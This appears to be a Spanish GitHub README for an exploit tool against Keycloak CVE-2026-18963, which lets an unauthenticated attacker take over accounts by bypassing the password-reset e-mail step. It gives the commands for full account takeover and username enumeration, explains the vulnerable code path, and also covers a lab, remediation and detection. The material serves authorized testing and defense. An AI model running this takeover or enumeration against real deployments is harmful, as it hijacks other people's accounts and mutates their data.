
Exploit para Keycloak CVE-2026-18963 que permite la toma de control de cuentas sin autenticación mediante la evasión de reset-credentials. Incluye detección segura, prueba no destructiva, toma de control completa, enumeración de nombres de usuario y un laboratorio con versiones vulnerables y parcheadas.
Conociendo solo un nombre de usuario o dirección de correo electrónico, un atacante no autenticado establece una contraseña arbitraria en cualquier cuenta de Keycloak. El correo de restablecimiento de contraseña se envía a la víctima real y nunca es necesario — el atacante nunca lee una bandeja de entrada, nunca hace clic en un enlace, y no posee ninguna credencial o sesión previa.
Afectado: Keycloak 26.0.0 – 26.7.1. Corregido en 26.7.2.
Un solo comando. No se requiere un nombre de usuario válido, y sin efectos secundarios — no envía correo, no escribe en ninguna cuenta, y se detiene antes del paso explotable.```bash git clone https://github.com/Snizi/CVE-2026-18963-Exploit cd CVE-2026-18963-Exploit
python3 cve_2026_18963_poc.py
--base https://sso.example.com --realm YOUR_REALM
--client-id account
--redirect-uri https://sso.example.com/realms/YOUR_REALM/account/
--safe-check
Python 3.9+, solo biblioteca estándar. Nada que instalar.
| Salida | Veredicto | Significado |
|:---:|---|---|
| `0` | 🔴 **VULNERABLE** | se sirvió la puerta de correo estacionada — el bug en sí |
| `2` | 🟢 **PARCHEADO** | el flujo se bifurcó al inicio de sesión y se quedó allí (fix #51844 presente) |
| `2` | 🟡 **MITIGADO** | restablecimiento de credenciales inalcanzable — *Forgot password* está desactivado. **No es un parche.** |
| `3` | ⚪ **NO CONCLUYENTE** | respuesta no reconocida — **no lo interpretes como una aprobación** |
Ejecútalo por realm — *Forgot password* es una configuración por realm, y `master` cuenta.
Detalles, y por qué la comprobación no necesita usuario y no toca nada, en
[§4a](#4a-safe-detection---safe-check--start-here).
**¿Ya sabes que estás expuesto?** Salta a [remediación](#8-remediation) y
[detección / threat hunting](#9-detection).
### Pruébalo sin un objetivo
El repositorio incluye un laboratorio que arranca una versión vulnerable **26.7.1** y una parcheada **26.7.2**
lado a lado contra un realm idéntico, además de un buzón para observar cómo llega el correo de restablecimiento
y permanece sin leer mientras la cuenta es tomada:```bash
cd lab && docker compose up -d
python3 ../cve_2026_18963_poc.py --base http://localhost:8080 \
--realm poc --client-id poc-app --safe-check # VULNERABLE
python3 ../cve_2026_18963_poc.py --base http://localhost:8100 \
--realm poc --client-id poc-app --safe-check # PATCHED
⚠️ Solo pruebas autorizadas
Este repositorio existe para defensores, respondedores de incidentes y probadores de penetración autorizados. Ejecútalo contra sistemas que poseas o para los que tengas permiso por escrito para probar. Todo lo que hay aquí incluye un laboratorio vulnerable autocontenido (
lab/), por lo que no es necesario tocar nada externo para aprender cómo funciona el fallo. Apuntarlo a infraestructura de terceros sin autorización es ilegal en la mayoría de las jurisdicciones y no es algo que este proyecto respalde.
Referencias: keycloak#51833 · GHSA-4gv3-mc9p-5wqc · fix keycloak#51844
Dos defectos encadenados. Ninguno es explotable por sí solo.
services/src/main/java/org/keycloak/authentication/DefaultAuthenticationFlow.java
processAction() — cualquier POST que lleve la clave de formulario tryAnotherWay:```java
processor.getAuthenticationSession().setAuthNote(
AuthenticationProcessor.AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED, "true");
return createSelectAuthenticatorsScreen(model);
La nota es un **booleano simple sin registro de a qué conjunto de ejecución pertenece**. Solo se limpia en la rama que maneja un parámetro `authenticationExecution` enviado. Si se omite ese parámetro — como hace este PoC en todo momento —, la marca permanece activa durante toda la vida de la sesión de autenticación.
`processFlow()` — mientras la marca sea verdadera, se omite la evaluación normal del flujo:```java
if (Boolean.parseBoolean(authSession.getAuthNote(AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED))) {
String lastExecutionId = authSession.getAuthNote(CURRENT_AUTHENTICATION_EXECUTION);
if (lastExecutionId != null) {
AuthenticationExecutionModel executionModel =
realm.getAuthenticationExecutionById(lastExecutionId);
if (executionModel != null)
return createSelectAuthenticatorsScreen(executionModel); // <-- attacker-usable form
}
}
It renders a submittable form aimed at whatever execution is currently parked, instead of keeping the session pinned on "waiting for the e-mail".
The glue is processResult() case FORK: — when Send Reset Email fires it stamps
CURRENT_AUTHENTICATION_EXECUTION = <reset-credential-email execution id> and forks
the browser to the login page. The parked execution is precisely the e-mail gate.
`services/src/main/java/org/keycloak/authentication/authenticators/resetcred/ResetCredentialEmail.java````java @Override public void action(AuthenticationFlowContext context) { context.getUser().setEmailVerified(true); context.success(); }
Unconditional. Nothing verifies that the flow was resumed by a valid action token,
so *reaching* `action()` is treated as equivalent to proving mailbox control.
### The chain```
tryAnotherWay POST → sticky AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED="true"
submit victim identifier → mail sent to victim, e-mail execution parked (FORK)
re-enter reset-credentials → sticky flag serves a form targeting the parked e-mail execution
POST that form → ResetCredentialEmail.action() → success() → gate bypassed
→ flow advances to UPDATE_PASSWORD → attacker sets the password
Seis solicitudes HTTP, sin autenticación, sin parámetro authenticationExecution en ningún
punto.
model.getId(), y processFlow() lo respeta solo cuando
es igual a CURRENT_AUTHENTICATION_EXECUTION; de lo contrario, lo elimina. En el ataque,
los dos difieren (id de choose-user vs. id de e-mail-gate), exactamente lo que detecta el
parche, y exactamente la señal en la que se basa --safe-check.ResetCredentialEmail.action() ahora requiere
context.getUser().getId().equals(authNote(ACTION_TOKEN_USER_ID))
y, de lo contrario, falla con INVALID_USER.| Línea | Vulnerable | Corrección comunitaria |
|---|---|---|
| Heredada (Keycloak basado en WildFly, ≤ 17) | no afectada | — |
| Quarkus 17 – 25.x | no afectada | — |
| 26.0 | 26.0.0 – 26.0.17 | ninguna |
| 26.1 | 26.1.0 – 26.1.5 | ninguna |
| 26.2 | 26.2.0 – 26.2.16 | ninguna |
| 26.3 | 26.3.0 – 26.3.5 | ninguna |
| 26.4 | 26.4.0 – 26.4.14 | 26.4.15 (etiqueta de backport del proveedor) |
| 26.5 | 26.5.0 – 26.5.7 | ninguna |
| 26.6 | 26.6.0 – 26.6.5 | 26.6.6 (etiqueta de backport del proveedor) |
| 26.7 | 26.7.0 – 26.7.1 | 26.7.2 |
6a9e60bb, que añadió la pantalla de selector de autenticadores "Try another way" al
flujo de restablecimiento. Cualquier versión anterior simplemente carece de esa ruta de código.
Eso incluye las distribuciones antiguas basadas en WildFly y RH-SSO 7.x, que no se ven
afectadas por este error, aunque siguen al final de su ciclo de vida y son vulnerables a
muchos otros. Permanecer en una compilación heredada no es una remediación.26.7.2 es la única versión corregida
publicada para el tren comunitario. Si un despliegue se encuentra en 26.0 – 26.6, no hay
una versión de parche en esa línea: la corrección requiere una actualización de versión
menor, no una versión puntual. Las etiquetas 26.4.15 / 26.6.6 son backports del proveedor
y no son intercambiables con las imágenes comunitarias.Precondiciones: el reino tiene Forgot password habilitado y su flujo de
restablecimiento de credenciales vinculado utiliza el autenticador integrado
reset-credential-email.
El repositorio incluye tanto un Keycloak vulnerable como uno parcheado, importando el mismo reino, además de Mailpit para capturar el correo de restablecimiento, de modo que puedas verlo llegar y permanecer sin leer mientras se toma control de la cuenta.```bash cd lab docker compose up -d
| Servicio | URL | Versión |
|---|---|---|
| `kc-vuln` | http://localhost:8080 | 26.7.1 — **vulnerable** |
| `kc-patched` | http://localhost:8100 | 26.7.2 — **control parcheado** |
| `kc-mailpit` | http://localhost:8025 | buzón de la víctima |
Realm `poc`, cliente público `poc-app`, usuario `victim` / `OriginalPassw0rd!`, administrador
de Keycloak `admin` / `admin`.
Fija diferentes builds con `KC_VULN_VERSION` / `KC_PATCHED_VERSION`:```bash
KC_VULN_VERSION=26.5.7 docker compose up -d keycloak-vuln
Entre ejecuciones, lab/reset-victim.sh restaura la contraseña de la víctima
(KC=http://localhost:8100 lab/reset-victim.sh apunta a la instancia parcheada).
lab/legit_reset.py realiza un restablecimiento genuino extrayendo el enlace del token de acción
de Mailpit y haciendo clic en él. Es la muestra de control para el trabajo de detección en
§9 — ejecútalo y el exploit contra el mismo realm, luego compara las trazas.
Teardown: docker compose down -v.
Python 3.9+, solo biblioteca estándar — sin dependencias, se instala en cualquier jump box.``` --base Keycloak base URL (e.g. https://sso.example.com) --realm realm name --client-id any enabled public client with the standard flow --redirect-uri a URI permitted by that client (default http://localhost:9999/callback) --insecure skip TLS verification --verbose log every HTTP request --dump FILE write the response body of a failing step to FILE
`--client-id` puede ser cualquier cliente público habilitado con el flujo estándar. El cliente integrado
`account` existe en todos los realms y es la opción fiable, pero restringe
las URI de redirección, por lo que `--redirect-uri` **debe** ser entonces
`<base>/realms/<realm>/account/` — el valor predeterminado se rechaza y el paso 1 falla.
### 4a. Detección segura (`--safe-check`) — comience aquí
No necesita **ningún nombre de usuario válido** y **no tiene efectos secundarios**. Esta es la sonda que debe usar
cuando no deba perturbar el objetivo.```bash
python3 cve_2026_18963_poc.py \
--base https://sso.example.com --realm corp \
--client-id account \
--redirect-uri https://sso.example.com/realms/corp/account/ \
--safe-check
| Salida | Veredicto | Significado |
|---|---|---|
0 | VULNERABLE | se sirvió la puerta de correo en espera — el propio fallo |
2 | PARCHEADO | el flujo se desvió al inicio de sesión y permaneció allí (parche #51844 presente) |
2 | MITIGADO | restablecimiento de credenciales inaccesible — Olvidé mi contraseña está desactivado. No es un parche. |
3 | NO CONCLUYENTE | respuesta no reconocida — no lo interpretes como una aprobación |
Por qué no necesita usuario y no envía correo. ResetCredentialEmail.authenticate()
también se bifurca para un usuario desconocido:```java
if (user == null) { context.forkWithSuccessMessage(EMAIL_SENT); return; }
`processResult()` `case FORK:` por lo tanto estaciona `CURRENT_AUTHENTICATION_EXECUTION`
en la ejecución de correo electrónico **aunque no se haya encontrado a nadie** — y no se envía ningún correo,
porque no hay nadie a quien enviarlo. La sonda se detiene en el discriminador y nunca
hace POST a la puerta, por lo que `action()` nunca se ejecuta: sin NPE en el objetivo, sin escritura
de `emailVerified`, sin correo, sin tocar la cuenta.
**Solo se afirma sobre la señal positiva.** VULNERABLE ⟺ el paso 5 devuelve un formulario
todavía dentro de `login-actions/reset-credentials` cuyo `execution` difiere de la ejecución
de elegir usuario. Eso *es* el bug: la nota obsoleta
`AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED` que sirve la puerta de correo estacionada.
Ambas mitades importan — la ruta demuestra que seguimos en el flujo de restablecimiento, el id de
ejecución diferente demuestra que es la puerta de correo y no un re-render.
Cualquier otra cosa **no** se llama parcheada en silencio. PATCHED requiere su propia evidencia
(bifurcado a `login-actions/authenticate` *y* un campo de contraseña presente); todo lo
restante es INCONCLUSIVE y necesita un humano. Un diseño anterior trataba "no es el formulario
de la puerta" como parcheado, lo que convierte silenciosamente cada tema personalizado, página de error, bloqueo
de WAF e intersticial en un certificado de salud falso.
### 4b. Prueba no destructiva (`--check`)
Impulsa toda la cadena pero se detiene en el formulario de Actualizar Contraseña. Alcanzar ese formulario
sin un token de acción es concluyente.```bash
python3 cve_2026_18963_poc.py \
--base https://sso.example.com --realm corp \
--client-id account \
--redirect-uri https://sso.example.com/realms/corp/account/ \
--victim [email protected] --check
Dos efectos secundarios son inevitables, porque ocurren antes del formulario de contraseña — indícalos en el alcance del compromiso:
action() establece emailVerified = true en la cuenta.No se modifica ninguna credencial. Prefiere una cuenta de prueba dedicada.
Solo para laboratorio o demostración explícitamente autorizada.```bash
python3 cve_2026_18963_poc.py
--base http://localhost:8080 --realm poc --client-id poc-app
--victim victim --new-password 'PoCPassw0rd!1'
Salida `0` vulnerable · `2` no explotable · `1` contraseña cambiada pero la
concesión de confirmación falló (apunta `--verify-client-id` a un cliente con
Direct Access Grants).
Completar el flujo también devuelve un **código de autorización OIDC para la víctima**, por lo
que la toma de control es inmediata — no se requiere un segundo inicio de sesión con la nueva contraseña.
### 4d. Enumeración de nombres de usuario (`--enum`)
La misma falla es un oráculo de nombres de usuario, y uno más fuerte de lo que Keycloak normalmente
permite. `ResetCredentialEmail.authenticate()` devuelve deliberadamente un
*"Deberías recibir un correo electrónico en breve"* idéntico para usuarios reales y desconocidos, por lo que
el propio formulario de restablecimiento no se puede usar para enumerar — esa defensa sigue en pie en el paso 4. Se
rompe en el **paso 6**, donde `action()` desreferencia al usuario incondicionalmente
(`context.getUser().setEmailVerified(true)`).
| Identificador | Paso 6 | Veredicto |
|---|---|---|
| usuario real | `200`, llega al formulario de Actualizar Contraseña | VÁLIDO |
| usuario desconocido | `400` (página de error NPE) | INVÁLIDO |```bash
python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc --client-id poc-app \
--enum candidates.example.txt
Nunca cambia una contraseña. Sale con 0 si algún identificador se resolvió, 2 en caso contrario.
Coste por sonda: léelo antes de ejecutarlo. Llegar al oráculo requiere completar
el paso 4, así que cada sonda contra una cuenta real envía a esa persona un correo
genuino de restablecimiento de contraseña y establece emailVerified = true en su
registro. No es una comprobación silenciosa: es visible para el titular de la cuenta
y muta sus datos. Una lista de 5.000 nombres son 5.000 correos a personas reales y
5.000 cuentas mutadas.
Úsalo para demostrar que el oráculo existe en un puñado de identificadores para el informe, no para cosechar un directorio. Las salvaguardas son deliberadamente conservadoras:
--enum-max N rechaza listas de más de N elementos (por defecto 25)--enum-delay SEC pausa entre sondas (por defecto 2.0)Elevar cualquiera de ellos debería ser una decisión consciente registrada en las notas del compromiso.
Ángulo para el informe: esto anula un control anti-enumeración que Keycloak implementó a propósito. Merece la pena redactarlo como hallazgo propio junto a la toma de control, y elimina "nuestros nombres de usuario no son adivinables" como factor mitigante.
Cualquier despliegue serio incluye un tema de inicio de sesión personalizado, y los temas
personalizados renombran o eliminan los ids de elementos estándar (kc-form-login,
kc-reset-password-form, kc-select-credential-form, kc-passwd-update-form). Una
herramienta que se base en esos ids reporta un falso negativo precisamente en los
despliegues que más importan — este lo hacía, antes de ser reescrito. Los temas vistos
en entornos reales usan ids como id="login-form" e incluyen un enlace de ¿olvidó su
contraseña? con un href vacío.
Por tanto, esta PoC no se basa en nada que controle un tema:
action= de
los formularios de la página — login-actions/reset-credentials,
login-actions/authenticate, login-actions/required-action — y del parámetro de
consulta execution dentro de ellos. Esas rutas las genera el propio
LoginActionsService de Keycloak, no el tema.grep al código fuente: no hay ni un solo id kc-* en él./realms/<realm>/login-actions/reset-credentials?client_id=…&tab_id=… y lo
sondea directamente, tomando tab_id del formulario que la página de inicio de sesión
sí exponga.Si un objetivo sigue devolviendo INCONCLUSIVE, ejecuta con --verbose --dump out.html y
lee la respuesta — la herramienta se niega deliberadamente a adivinar.
Un cliente que aplica PKCE rechaza el paso 1 con
Missing parameter: code_challenge_method. Esto se reporta como INCONCLUSIVE
(salida 3), nunca como un pase. Hasta que llegue el soporte de PKCE, un realm cuyo
único cliente público utilizable exija PKCE no puede comprobarse con esta herramienta —
prueba con el cliente integrado account, que normalmente no lo aplica.
Cada ejecución siguiente se realiza contra el laboratorio de este repositorio, usando el código tal como se publica.
| Prueba | Objetivo | Resultado |
|---|---|---|
--safe-check | 26.7.1 | VULNERABLE, salida 0 — la puerta de correo se sirvió (execution ≠ choose-user) |
--safe-check | 26.7.2 | PARCHEADO, salida 2 — bifurcó al inicio de sesión y se quedó allí |
--safe-check, ¿Olvidó su contraseña? desactivado | 26.7.2 | MITIGADO, salida 2 — HTTP 400, flujo inalcanzable |
| Toma de control completa | 26.7.1 | salida 0 — contraseña establecida, código OIDC emitido, concesión de contraseña lo confirma |
| Toma de control completa | 26.7.2 | salida 2 — bloqueado en el paso 5, cuenta intacta |
--check | 26.7.1 | alcanzó UPDATE_PASSWORD; contraseña verificada sin cambios después |
--enum | 26.7.1 | victim y [email protected] VÁLIDOS, does-not-exist INVÁLIDO |
| Estado de credenciales tras la toma de control | 26.7.1 | nueva contraseña → 200, contraseña antigua → 400 |
| Estado de credenciales tras ejecución bloqueada | 26.7.2 | contraseña antigua → 200, contraseña del atacante → 400 |
| Buzón de la víctima | Mailpit | correos de restablecimiento entregados y sin leer; el enlace del token de acción nunca se consulta |
Dos hallazgos que merece la pena señalar más allá del texto del aviso:
ResetCredentialEmail.authenticate() toma la ruta forkWithSuccessMessage cuando
user.getEmail() es null, que igualmente aparca la ejecución mediante case FORK:.
Lo mismo ocurre con un fallo de envío SMTP — un servidor de correo roto o ausente
no es una mitigación. Esto importa directamente para realms federados con
AD/LDAP, donde las cuentas frecuentemente no tienen atributo de correo.El MFA no es una mitigación. El flujo de restablecimiento de credenciales por defecto no contiene ningún paso OTP, y una vez superado, el atacante puede eliminar los factores registrados de la víctima.
Solución: actualiza. 26.7.2 para builds de la comunidad, o la etiqueta de backport del proveedor que coincida con tu suscripción. Todo lo demás es un parche provisional.
Mitigaciones provisionales, de mejor a peor:
master.Los realms cuyo flujo de restablecimiento vinculado es totalmente personalizado y nunca
invoca reset-credential-email no son explotables por esta vía.
Keycloak no emite ningún evento de "token de acción omitido", así que la detección es
heurística. Ejecuta lab/legit_reset.py junto al exploit para generar ambos rastros y
compararlos.
GET /login-actions/action-token?... (la víctima haciendo clic en
el correo) antes del cambio de contraseña. La evasión no tiene ese GET. En su
lugar muestra un POST a login-actions/reset-credentials cuyo cuerpo contiene
tryAnotherWay, seguido de un segundo POST a la misma ruta con un cuerpo vacío, y
luego el formulario de contraseña. Un POST con tryAnotherWay dentro del flujo de
restablecimiento no es algo que la UI estándar produzca en uso normal.SEND_RESET_PASSWORD seguido de UPDATE_PASSWORD
compartiendo el mismo code_id en pocos segundos — submilisegundo en el laboratorio.
Un usuario con el correo ya abierto también puede parecer rápido, así que corrobora con
los registros del proxy.emailVerified cambió a true sin ningún evento VERIFY_EMAIL
correspondiente son un indicador de apoyo útil, y uno que el atacante no puede evitar
dejar.La ausencia de eventos no prueba nada si el registro de eventos o su retención estaban desactivados. Comprueba la ventana de retención antes de concluir que un despliegue no fue alcanzado.
Snizi — github.com/Snizi — [email protected]
Publicado bajo la Licencia MIT. Se aceptan issues y PRs — especialmente soporte de PKCE y peculiaridades adicionales de temas del mundo real.